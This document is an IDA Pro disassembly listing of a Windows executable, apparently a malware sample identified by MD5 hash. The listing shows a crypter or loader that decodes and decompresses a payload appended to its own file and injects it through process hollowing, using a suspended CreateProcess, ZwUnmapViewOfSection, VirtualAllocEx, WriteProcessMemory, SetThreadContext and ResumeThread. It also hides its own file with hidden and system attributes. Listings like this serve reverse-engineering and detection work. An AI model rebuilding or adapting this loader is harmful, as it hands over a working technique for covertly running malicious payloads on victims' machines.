; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : D3B97AAD9D03358D2B28D84B43475518 ; File Name : u:\work\d3b97aad9d03358d2b28d84b43475518_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00004F51 ( 20305.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_40172C+A7p var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push edi mov edi, [ebp+arg_4] imul edi, 64h push edi ; Size call _malloc test eax, eax pop ecx mov [ebp+var_8], eax jz short loc_401085 push ebx push offset LibFileName ; "ntdll.dll" call ds:LoadLibraryA ; LoadLibraryA mov ebx, eax test ebx, ebx jz short loc_401082 push esi mov esi, ds:GetProcAddress push offset ProcName ; "RtlDecompressBuffer" push ebx ; hModule call esi ; GetProcAddress push offset aRtlgetcompress ; "RtlGetCompressionWorkSpaceSize" push ebx ; hModule mov [ebp+var_4], eax call esi ; GetProcAddress cmp [ebp+arg_4], 0 pop esi jz short loc_401082 cmp [ebp+var_4], 0 jz short loc_401082 test eax, eax jz short loc_401082 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_10] push ecx push 2 call eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push edi push [ebp+var_8] push 2 call [ebp+var_4] push ebx ; hLibModule call ds:FreeLibrary ; FreeLibrary mov eax, [ebp+var_8] jmp short loc_401084 ; --------------------------------------------------------------------------- loc_401082: ; CODE XREF: sub_401000+2Bj ; sub_401000+4Cj ... xor eax, eax loc_401084: ; CODE XREF: sub_401000+80j pop ebx loc_401085: ; CODE XREF: sub_401000+19j pop edi leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401088 proc near ; CODE XREF: sub_4010AD+5Bp ; sub_4010AD+B6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor eax, eax cmp [esp+arg_4], eax jle short locret_4010AC mov ecx, [esp+arg_0] mov edx, dword_4082C4 add ecx, edx loc_40109C: ; CODE XREF: sub_401088+22j mov dl, [ecx+eax] mov byte_4082E8[eax], dl inc eax cmp eax, [esp+arg_4] jl short loc_40109C locret_4010AC: ; CODE XREF: sub_401088+6j retn sub_401088 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010AD proc near ; CODE XREF: WinMain(x,x,x,x)+4Fp var_13C = byte ptr -13Ch Dst = word ptr -5Ch var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_16 = word ptr -16h var_8 = word ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 13Ch mov eax, dword_408040 mov ecx, dword_4082C4 push ebx push esi lea esi, [ecx+eax] mov bl, [esi] mov byte_4082CC, bl mov cl, [esi+1] push edi mov edi, nNumberOfBytesToRead mov byte_4082E0, cl mov cl, [esi+2] neg byte_4082E0 sub edi, eax neg bl neg cl cmp edi, 40h mov byte_4082CC, bl mov byte_4082C0, cl jb loc_4011AB add eax, 3 push 40h push eax call sub_401088 pop ecx pop ecx mov byte_408328, 0 xor esi, esi loc_401118: ; CODE XREF: sub_4010AD+81j mov cl, byte_4082E0 lea eax, dword_4082E9[esi] add [eax-1], bl add [eax], cl inc esi inc esi cmp esi, 40h jb short loc_401118 push 40h ; Size mov ebx, offset byte_4082E8 lea eax, [ebp+Dst] push ebx ; Src push eax ; Dst call _memcpy add esp, 0Ch cmp [ebp+Dst], 5A4Dh jnz short loc_4011AB mov eax, [ebp+var_20] lea ecx, [eax+18h] cmp edi, ecx jb short loc_4011AB mov ecx, dword_408040 lea eax, [ecx+eax+3] push 18h push eax call sub_401088 pop ecx pop ecx mov byte_408300, 0 xor esi, esi loc_401173: ; CODE XREF: sub_4010AD+E2j mov cl, byte_4082CC lea eax, dword_4082E9[esi] add [eax-1], cl mov cl, byte_4082E0 add [eax], cl inc esi inc esi cmp esi, 18h jb short loc_401173 push 18h ; Size lea eax, [ebp+var_1C] push ebx ; Src push eax ; Dst call _memcpy mov esi, 0E0h add esp, 0Ch cmp [ebp+var_8], si jz short loc_4011B2 loc_4011AB: ; CODE XREF: sub_4010AD+4Fj ; sub_4010AD+9Dj ... xor al, al jmp loc_401298 ; --------------------------------------------------------------------------- loc_4011B2: ; CODE XREF: sub_4010AD+FCj mov ecx, dword_408040 mov eax, [ebp+var_20] lea eax, [ecx+eax+1Bh] push esi push eax call sub_401088 pop ecx pop ecx mov byte_4083C8, 0 xor edi, edi loc_4011D1: ; CODE XREF: sub_4010AD+13Fj mov cl, byte_4082CC lea eax, dword_4082E9[edi] add [eax-1], cl mov cl, byte_4082E0 add [eax], cl inc edi inc edi cmp edi, esi jb short loc_4011D1 push esi ; Size lea eax, [ebp+var_13C] push ebx ; Src push eax ; Dst call _memcpy movzx eax, [ebp+var_16] lea eax, [eax+eax*4] shl eax, 3 push eax ; dwBytes call ??2@YAPAXI@Z ; operator new(uint) movzx esi, [ebp+var_16] mov ecx, dword_408040 mov [ebp+var_4], eax mov eax, [ebp+var_20] lea esi, [esi+esi*4] shl esi, 3 lea eax, [ecx+eax+0FBh] push esi push eax call sub_401088 add esp, 18h xor ecx, ecx test esi, esi mov byte_4082E8[esi], 0 jbe short loc_40125D loc_401240: ; CODE XREF: sub_4010AD+1AEj mov dl, byte_4082CC lea eax, dword_4082E9[ecx] add [eax-1], dl mov dl, byte_4082E0 add [eax], dl inc ecx inc ecx cmp ecx, esi jb short loc_401240 loc_40125D: ; CODE XREF: sub_4010AD+191j push esi ; Size push ebx ; Src push [ebp+var_4] ; Dst call _memcpy mov edi, [ebp+arg_0] mov eax, [ebp+arg_C] add esp, 0Ch push 10h pop ecx push 6 lea esi, [ebp+Dst] rep movsd mov edi, [ebp+arg_4] pop ecx lea esi, [ebp+var_1C] rep movsd mov edi, [ebp+arg_8] push 38h pop ecx lea esi, [ebp+var_13C] rep movsd mov ecx, [ebp+var_4] mov [eax], ecx mov al, 1 loc_401298: ; CODE XREF: sub_4010AD+100j pop edi pop esi pop ebx leave retn sub_4010AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40129D proc near ; CODE XREF: WinMain(x,x,x,x)+71p arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_8] mov ecx, [eax+3Ch] push esi mov esi, [eax+20h] xor edx, edx mov eax, ecx div esi test edx, edx jz short loc_4012BA lea ecx, [eax+1] imul ecx, esi loc_4012BA: ; CODE XREF: sub_40129D+15j mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] test eax, eax jle short loc_4012F4 push ebx mov ebx, [ebp+arg_C] push edi add ebx, 8 mov [ebp+arg_8], eax loc_4012D0: ; CODE XREF: sub_40129D+53j mov edi, [ebx] test edi, edi jz short loc_4012EA xor edx, edx mov eax, edi div esi test edx, edx jnz short loc_4012E4 add ecx, edi jmp short loc_4012EA ; --------------------------------------------------------------------------- loc_4012E4: ; CODE XREF: sub_40129D+41j inc eax imul eax, esi add ecx, eax loc_4012EA: ; CODE XREF: sub_40129D+37j ; sub_40129D+45j add ebx, 28h dec [ebp+arg_8] jnz short loc_4012D0 pop edi pop ebx loc_4012F4: ; CODE XREF: sub_40129D+26j mov eax, ecx pop esi pop ebp retn sub_40129D endp ; =============== S U B R O U T I N E ======================================= sub_4012F9 proc near ; CODE XREF: sub_401313+A9p ; sub_401313+12Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor edx, edx div [esp+arg_4] test edx, edx jnz short loc_40130C mov eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_40130C: ; CODE XREF: sub_4012F9+Cj inc eax imul eax, [esp+arg_4] retn sub_4012F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401313(int,int,size_t Size,int,void *Dst) sub_401313 proc near ; CODE XREF: WinMain(x,x,x,x)+B4p arg_4 = dword ptr 0Ch Size = dword ptr 10h arg_C = dword ptr 14h Dst = dword ptr 18h push ebp mov ebp, esp mov eax, dword_4082C4 push ebx push esi mov esi, dword_408040 add eax, esi mov bl, [eax] mov byte_4082CC, bl mov cl, [eax+1] mov byte_4082E0, cl mov al, [eax+2] neg byte_4082E0 neg al mov byte_4082C0, al mov eax, [ebp+Size] neg bl mov byte_4082CC, bl push edi mov edi, [eax+3Ch] mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] test eax, eax jle short loc_401374 mov ecx, [ebp+arg_C] add ecx, 14h loc_401366: ; CODE XREF: sub_401313+5Fj mov edx, [ecx] cmp edx, edi jnb short loc_40136E mov edi, edx loc_40136E: ; CODE XREF: sub_401313+57j add ecx, 28h dec eax jnz short loc_401366 loc_401374: ; CODE XREF: sub_401313+4Bj push edi add esi, 3 push esi call sub_401088 pop ecx xor esi, esi test edi, edi pop ecx mov byte_4082E8[edi], 0 jbe short loc_4013A4 loc_40138D: ; CODE XREF: sub_401313+8Fj mov cl, byte_4082E0 lea eax, dword_4082E9[esi] add [eax-1], bl add [eax], cl inc esi inc esi cmp esi, edi jb short loc_40138D loc_4013A4: ; CODE XREF: sub_401313+78j push edi ; Size push offset byte_4082E8 ; Src push [ebp+Dst] ; Dst call _memcpy mov ebx, [ebp+Size] mov ecx, [ebx+20h] push ecx push dword ptr [ebx+3Ch] call sub_4012F9 mov edi, eax add edi, [ebp+Dst] mov eax, [ebp+arg_4] and [ebp+Dst], 0 add esp, 14h cmp word ptr [eax+6], 0 jbe loc_401472 mov esi, [ebp+arg_C] add esi, 8 loc_4013E1: ; CODE XREF: sub_401313+159j mov eax, [esi+8] test eax, eax jbe short loc_40144A mov [ebp+Size], eax mov eax, [esi] cmp [ebp+Size], eax jbe short loc_4013F5 mov [ebp+Size], eax loc_4013F5: ; CODE XREF: sub_401313+DDj mov eax, [esi+0Ch] mov ecx, dword_408040 push [ebp+Size] lea eax, [eax+ecx+3] push eax call sub_401088 mov eax, [ebp+Size] pop ecx pop ecx xor ecx, ecx test eax, eax mov byte_4082E8[eax], 0 jbe short loc_40142E loc_40141D: ; CODE XREF: sub_401313+119j mov dl, byte_4082C0 add byte_4082E8[ecx], dl inc ecx cmp ecx, eax jb short loc_40141D loc_40142E: ; CODE XREF: sub_401313+108j push eax ; Size push offset byte_4082E8 ; Src push edi ; Dst call _memcpy mov ecx, [ebx+20h] push ecx push dword ptr [esi] call sub_4012F9 add esp, 14h jmp short loc_40145A ; --------------------------------------------------------------------------- loc_40144A: ; CODE XREF: sub_401313+D3j mov eax, [esi] test eax, eax jz short loc_40145C push ecx push eax call sub_4012F9 add esp, 8 loc_40145A: ; CODE XREF: sub_401313+135j add edi, eax loc_40145C: ; CODE XREF: sub_401313+13Bj mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] inc [ebp+Dst] add esi, 28h cmp [ebp+Dst], eax jl loc_4013E1 loc_401472: ; CODE XREF: sub_401313+C2j pop edi pop esi mov al, 1 pop ebx pop ebp retn sub_401313 endp ; =============== S U B R O U T I N E ======================================= sub_401479 proc near ; CODE XREF: sub_4015A2+BBp arg_8 = dword ptr 0Ch arg_10 = dword ptr 14h arg_14 = dword ptr 18h mov eax, [esp+arg_8] mov ecx, [eax+88h] test ecx, ecx jz short locret_4014E7 cmp dword ptr [eax+8Ch], 0 jz short locret_4014E7 mov edx, [esp+arg_10] push esi mov esi, [esp+4+arg_14] sub esi, [eax+1Ch] add ecx, edx cmp dword ptr [ecx+4], 0 jz short loc_4014E6 push ebx push edi loc_4014A6: ; CODE XREF: sub_401479+69j mov eax, [ecx+4] sub eax, 8 shr eax, 1 test eax, eax lea edi, [ecx+8] jle short loc_4014DC mov ebx, eax loc_4014B7: ; CODE XREF: sub_401479+61j xor edx, edx mov dx, [edi] mov eax, edx and eax, 0FFFh add eax, [ecx] and dx, 0F000h add eax, [esp+0Ch+arg_10] cmp dx, 3000h jnz short loc_4014D7 add [eax], esi loc_4014D7: ; CODE XREF: sub_401479+5Aj inc edi inc edi dec ebx jnz short loc_4014B7 loc_4014DC: ; CODE XREF: sub_401479+3Aj cmp dword ptr [edi+4], 0 mov ecx, edi jnz short loc_4014A6 pop edi pop ebx loc_4014E6: ; CODE XREF: sub_401479+29j pop esi locret_4014E7: ; CODE XREF: sub_401479+Cj ; sub_401479+15j retn sub_401479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4014E8(LPSTR lpCommandLine,LPPROCESS_INFORMATION lpProcessInformation,LPCONTEXT lpContext,LPVOID lpBuffer) sub_4014E8 proc near ; CODE XREF: WinMain(x,x,x,x)+CFp StartupInfo = _STARTUPINFOA ptr -64h Buffer = _MEMORY_BASIC_INFORMATION ptr -20h NumberOfBytesRead= dword ptr -4 lpCommandLine = dword ptr 8 lpProcessInformation= dword ptr 0Ch lpContext = dword ptr 10h lpBuffer = dword ptr 14h push ebp mov ebp, esp sub esp, 64h push esi mov esi, [ebp+lpProcessInformation] push edi push 10h pop ecx xor edx, edx push esi ; lpProcessInformation xor eax, eax mov [ebp+StartupInfo.cb], edx lea edi, [ebp+StartupInfo.lpReserved] rep stosd lea eax, [ebp+StartupInfo] push eax ; lpStartupInfo push edx ; lpCurrentDirectory push edx ; lpEnvironment push 4 ; dwCreationFlags push edx ; bInheritHandles push edx ; lpThreadAttributes push edx ; lpProcessAttributes push [ebp+lpCommandLine] ; lpCommandLine push edx ; lpApplicationName call ds:CreateProcessA ; CreateProcessA test eax, eax jz short loc_40157F mov edi, [ebp+lpContext] push ebx push edi ; lpContext mov dword ptr [edi], 10007h push dword ptr [esi+4] ; hThread call ds:GetThreadContext ; GetThreadContext mov ebx, [ebp+lpBuffer] lea eax, [ebp+NumberOfBytesRead] push eax ; lpNumberOfBytesRead mov eax, [edi+0A4h] push 4 ; nSize push ebx ; lpBuffer add eax, 8 push eax ; lpBaseAddress push dword ptr [esi] ; hProcess call ds:ReadProcessMemory ; ReadProcessMemory mov edi, [ebx] mov ebx, ds:VirtualQueryEx jmp short loc_401562 ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: sub_4014E8+87j cmp [ebp+Buffer.State], 10000h jz short loc_401571 add edi, [ebp+Buffer.RegionSize] loc_401562: ; CODE XREF: sub_4014E8+6Cj push 1Ch ; dwLength lea eax, [ebp+Buffer] push eax ; lpBuffer push edi ; lpAddress push dword ptr [esi] ; hProcess call ebx ; VirtualQueryEx test eax, eax jnz short loc_401556 loc_401571: ; CODE XREF: sub_4014E8+75j mov eax, [ebp+lpBuffer] sub edi, [eax] pop ebx mov [eax+4], edi xor eax, eax inc eax jmp short loc_401581 ; --------------------------------------------------------------------------- loc_40157F: ; CODE XREF: sub_4014E8+32j xor eax, eax loc_401581: ; CODE XREF: sub_4014E8+95j pop edi pop esi leave retn sub_4014E8 endp ; =============== S U B R O U T I N E ======================================= sub_401585 proc near ; CODE XREF: sub_4015A2+83p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp dword ptr [eax+88h], 0 jz short loc_40159F cmp dword ptr [eax+8Ch], 0 jz short loc_40159F xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_40159F: ; CODE XREF: sub_401585+Bj ; sub_401585+14j xor eax, eax retn sub_401585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4015A2(int,int,DWORD flOldProtect,int,int,int,int,HANDLE hProcess,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,LPVOID lpAddress,SIZE_T dwSize) sub_4015A2 proc near ; CODE XREF: WinMain(x,x,x,x)+11Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch flOldProtect = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch hProcess = dword ptr 24h arg_20 = dword ptr 28h arg_2C = dword ptr 34h arg_D0 = dword ptr 0D8h arg_DC = dword ptr 0E4h lpAddress = dword ptr 300h dwSize = dword ptr 304h push ebp mov ebp, esp mov eax, [ebp+lpAddress] push ebx mov ebx, [ebp+flOldProtect] cmp [ebx+1Ch], eax push esi mov esi, ds:VirtualAllocEx push edi mov edi, 3000h jnz short loc_4015E4 mov ecx, [ebp+dwSize] cmp [ebp+arg_14], ecx ja short loc_4015E4 lea edx, [ebp+flOldProtect] push edx ; lpflOldProtect push 40h ; flNewProtect push ecx ; dwSize push eax ; lpAddress push [ebp+hProcess] ; hProcess mov dword_43A2F8, eax call ds:VirtualProtectEx ; VirtualProtectEx jmp short loc_40161B ; --------------------------------------------------------------------------- loc_4015E4: ; CODE XREF: sub_4015A2+1Dj ; sub_4015A2+28j mov ecx, [ebp+hProcess] push eax push ecx mov dword_4082DC, ecx mov dword_43A2E8, eax call dword_43A300 ; ZwUnmapViewOfSection test eax, eax jnz short loc_401602 mov byte ptr [ebp+flOldProtect+3], 1 loc_401602: ; CODE XREF: sub_4015A2+5Aj cmp byte ptr [ebp+flOldProtect+3], 1 jnz short loc_40161B push 40h ; flProtect push edi ; flAllocationType push [ebp+arg_14] ; dwSize push dword ptr [ebx+1Ch] ; lpAddress push [ebp+hProcess] ; hProcess call esi ; VirtualAllocEx mov dword_43A2F8, eax loc_40161B: ; CODE XREF: sub_4015A2+40j ; sub_4015A2+64j cmp dword_43A2F8, 0 jnz short loc_401672 push ebx call sub_401585 add esp, 4 test eax, eax jz loc_401700 push 40h ; flProtect push edi ; flAllocationType push [ebp+arg_14] ; dwSize push 0 ; lpAddress push [ebp+hProcess] ; hProcess call esi ; VirtualAllocEx test eax, eax mov dword_43A2F8, eax jz loc_401700 push eax push [ebp+arg_10] push [ebp+arg_C] push ebx push [ebp+arg_4] push [ebp+arg_0] call sub_401479 add esp, 18h cmp dword_43A2F8, 0 jz loc_401700 loc_401672: ; CODE XREF: sub_4015A2+80j mov esi, [ebp+arg_D0] push offset aWriteprocessme ; "WriteProcessMemory" push offset ModuleName ; "kernel32.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress push 0 push 4 push offset dword_43A2F8 add esi, 8 push esi mov esi, [ebp+hProcess] push esi call eax mov eax, [ebp+arg_0] mov eax, [eax+3Ch] mov ecx, dword_43A2F8 mov edx, [ebp+arg_10] mov [eax+edx+34h], ecx mov eax, dword_43A2F8 cmp eax, [ebp+lpAddress] mov [ebp+arg_2C], 10007h jnz short loc_4016D7 mov eax, [ebx+10h] add eax, [ebx+1Ch] mov [ebp+arg_DC], eax jmp short loc_4016E2 ; --------------------------------------------------------------------------- loc_4016D7: ; CODE XREF: sub_4015A2+125j mov ecx, [ebx+10h] add ecx, eax mov [ebp+arg_DC], ecx loc_4016E2: ; CODE XREF: sub_4015A2+133j mov eax, [ebp+arg_20] lea ecx, [ebp+arg_2C] push ecx push eax mov dword_43A2EC, esi mov hThread, eax call dword_43A304 ; SetThreadContext xor eax, eax inc eax jmp short loc_401713 ; --------------------------------------------------------------------------- loc_401700: ; CODE XREF: sub_4015A2+8Dj ; sub_4015A2+A7j ... push 0 ; uType mov eax, offset Caption ; "Fsd78f6sd6a78f6asd786 fas78d678 f6asd78"... push eax ; lpCaption push eax ; lpText push 0 ; hWnd call ds:MessageBoxA ; MessageBoxA xor eax, eax loc_401713: ; CODE XREF: sub_4015A2+15Cj pop edi pop esi pop ebx pop ebp retn sub_4015A2 endp ; =============== S U B R O U T I N E ======================================= sub_401718 proc near ; CODE XREF: WinMain(x,x,x,x)+148p push hThread ; hThread mov byte_43A2F0, 1 call ds:ResumeThread ; ResumeThread retn sub_401718 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40172C(LPCSTR lpFileName) sub_40172C proc near ; CODE XREF: WinMain(x,x,x,x)+27p NumberOfBytesRead= dword ptr -4 lpFileName = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi xor ebx, ebx push ebx ; hTemplateFile push 80h ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push ebx ; lpSecurityAttributes push 1 ; dwShareMode push 80000000h ; dwDesiredAccess push [ebp+lpFileName] ; lpFileName call ds:CreateFileA ; CreateFileA push ebx ; lpFileSizeHigh push eax ; hFile mov hFile, eax call ds:GetFileSize ; GetFileSize mov nNumberOfBytesToRead, eax inc eax push eax ; Size call _malloc pop ecx push ebx ; lpOverlapped lea ecx, [ebp+NumberOfBytesRead] push ecx ; lpNumberOfBytesRead push nNumberOfBytesToRead ; nNumberOfBytesToRead mov dword_4082C4, eax push eax ; lpBuffer push hFile ; hFile call ds:ReadFile ; ReadFile mov eax, [ebp+NumberOfBytesRead] sub eax, dword_408040 inc eax push eax ; Size call _malloc mov esi, [ebp+NumberOfBytesRead] pop ecx mov ecx, dword_408040 mov edi, esi xor edx, edx sub edi, ecx jz short loc_4017CB loc_4017A7: ; CODE XREF: sub_40172C+9Dj mov esi, dword_4082C4 add ecx, esi mov cl, [ecx+edx] mov [eax+edx], cl mov [eax+edx+1], bl mov esi, [ebp+NumberOfBytesRead] mov ecx, dword_408040 mov edi, esi inc edx sub edi, ecx cmp edx, edi jb short loc_4017A7 loc_4017CB: ; CODE XREF: sub_40172C+79j lea edx, [ebp+NumberOfBytesRead] push edx sub esi, ecx push esi push eax call sub_401000 add esp, 0Ch pop edi pop esi mov dword_408040, ebx mov dword_4082C4, eax pop ebx leave retn sub_40172C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+186p Context = CONTEXT ptr -524h flOldProtect = dword ptr -258h FileName = byte ptr -178h var_78 = dword ptr -78h ProcessInformation= _PROCESS_INFORMATION ptr -38h var_28 = dword ptr -28h Buffer = dword ptr -10h dwSize = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 hInstance = dword ptr 8 hPrevInstance = dword ptr 0Ch lpCmdLine = dword ptr 10h nShowCmd = dword ptr 14h push ebp mov ebp, esp sub esp, 524h push ebx push esi push edi push 100h ; nSize lea eax, [ebp+FileName] push eax ; lpFilename push 0 ; hModule call ds:GetModuleFileNameA ; GetModuleFileNameA lea eax, [ebp+FileName] push eax ; lpFileName call sub_40172C pop ecx push 6 ; dwFileAttributes lea eax, [ebp+FileName] push eax ; lpFileName call ds:SetFileAttributesA ; SetFileAttributesA lea eax, [ebp+var_4] push eax lea eax, [ebp+flOldProtect] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_78] push eax call sub_4010AD add esp, 10h test al, al jz loc_401938 push [ebp+var_4] lea eax, [ebp+flOldProtect] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_78] push eax call sub_40129D add esp, 10h push offset aVirtualalloc ; "VirtualAlloc" push offset ModuleName ; "kernel32.dll" mov ebx, eax call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress push 40h push 1000h push ebx push 0 call eax push eax ; Dst push [ebp+var_4] ; int mov [ebp+var_8], eax lea eax, [ebp+flOldProtect] push eax ; Size lea eax, [ebp+var_28] push eax ; int lea eax, [ebp+var_78] push eax ; int call sub_401313 lea eax, [ebp+Buffer] push eax ; lpBuffer lea eax, [ebp+Context] push eax ; lpContext lea eax, [ebp+ProcessInformation] push eax ; lpProcessInformation lea eax, [ebp+FileName] push eax ; lpCommandLine call sub_4014E8 add esp, 24h push [ebp+dwSize] ; dwSize mov ecx, 0B3h push [ebp+Buffer] ; lpAddress lea esi, [ebp+Context] sub esp, 2CCh mov edi, esp sub esp, 10h rep movsd mov edi, esp lea eax, [ebp+FileName] push eax ; int push ebx ; int push [ebp+var_8] ; int lea esi, [ebp+ProcessInformation] push [ebp+var_4] ; int movsd movsd lea eax, [ebp+flOldProtect] push eax ; flOldProtect lea eax, [ebp+var_28] movsd push eax ; int lea eax, [ebp+var_78] push eax ; int movsd call sub_4015A2 add esp, 300h push 0 push ebx push [ebp+var_8] push dword_43A2F8 push dword_43A2EC call dword_43A2FC ; WriteProcessMemory test eax, eax setnz al mov byte_43A2F0, al call sub_401718 loc_401938: ; CODE XREF: WinMain(x,x,x,x)+59j pop edi pop esi xor eax, eax pop ebx leave retn 10h _WinMain@16 endp ; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; --------------------------------------------------------------------------- _fast_error_exit: cmp dword_43A310, 1 jnz short loc_401D50 call __FF_MSGBANNER loc_401D50: ; CODE XREF: .text:00401D49j push dword ptr [esp+4] call __NMSG_WRITE push 0FFh call unknown_libname_1 ; Microsoft VisualC 2-8/net runtime ; --------------------------------------------------------------------------- db 59h ; Y db 59h ; Y db 0C3h ; Ã ; --------------------------------------------------------------------------- _check_managed_app: push 0 call ds:GetModuleHandleA ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_401D94 mov ecx, [eax+3Ch] add ecx, eax cmp dword ptr [ecx], 4550h jnz short loc_401D94 movzx eax, word ptr [ecx+18h] cmp eax, 10Bh jz short loc_401DAA cmp eax, 20Bh jz short loc_401D97 loc_401D94: ; CODE XREF: .text:00401D73j ; .text:00401D80j xor eax, eax retn ; --------------------------------------------------------------------------- loc_401D97: ; CODE XREF: .text:00401D92j xor eax, eax cmp dword ptr [ecx+84h], 0Eh jbe short locret_401DBB cmp [ecx+0F8h], eax jmp short loc_401DB8 ; --------------------------------------------------------------------------- loc_401DAA: ; CODE XREF: .text:00401D8Bj xor eax, eax cmp dword ptr [ecx+74h], 0Eh jbe short locret_401DBB cmp [ecx+0E8h], eax loc_401DB8: ; CODE XREF: .text:00401DA8j setnz al locret_401DBB: ; CODE XREF: .text:00401DA0j ; .text:00401DB0j retn ; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __heap_term: cmp dword_43A898, 3 jnz short loc_402075 push ebx xor ebx, ebx cmp dword_43A87C, ebx push ebp mov ebp, ds:HeapFree jle short loc_402063 push esi mov esi, lpMem push edi mov edi, ds:VirtualFree add esi, 0Ch loc_40202F: ; CODE XREF: .text:0040205Fj push 4000h push 100000h push dword ptr [esi] call edi ; VirtualFree push 8000h push 0 push dword ptr [esi] call edi ; VirtualFree push dword ptr [esi+4] push 0 push hHeap call ebp ; HeapFree add esi, 14h inc ebx cmp ebx, dword_43A87C jl short loc_40202F pop edi pop esi loc_402063: ; CODE XREF: .text:0040201Cj push lpMem push 0 push hHeap call ebp ; HeapFree pop ebp pop ebx loc_402075: ; CODE XREF: .text:0040200Aj push hHeap call ds:HeapDestroy ; HeapDestroy retn ; --------------------------------------------------------------------------- mov eax, hHeap retn ; [00000015 BYTES: COLLAPSED FUNCTION __get_sbh_threshold. PRESS KEYPAD "+" TO EXPAND] ; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; 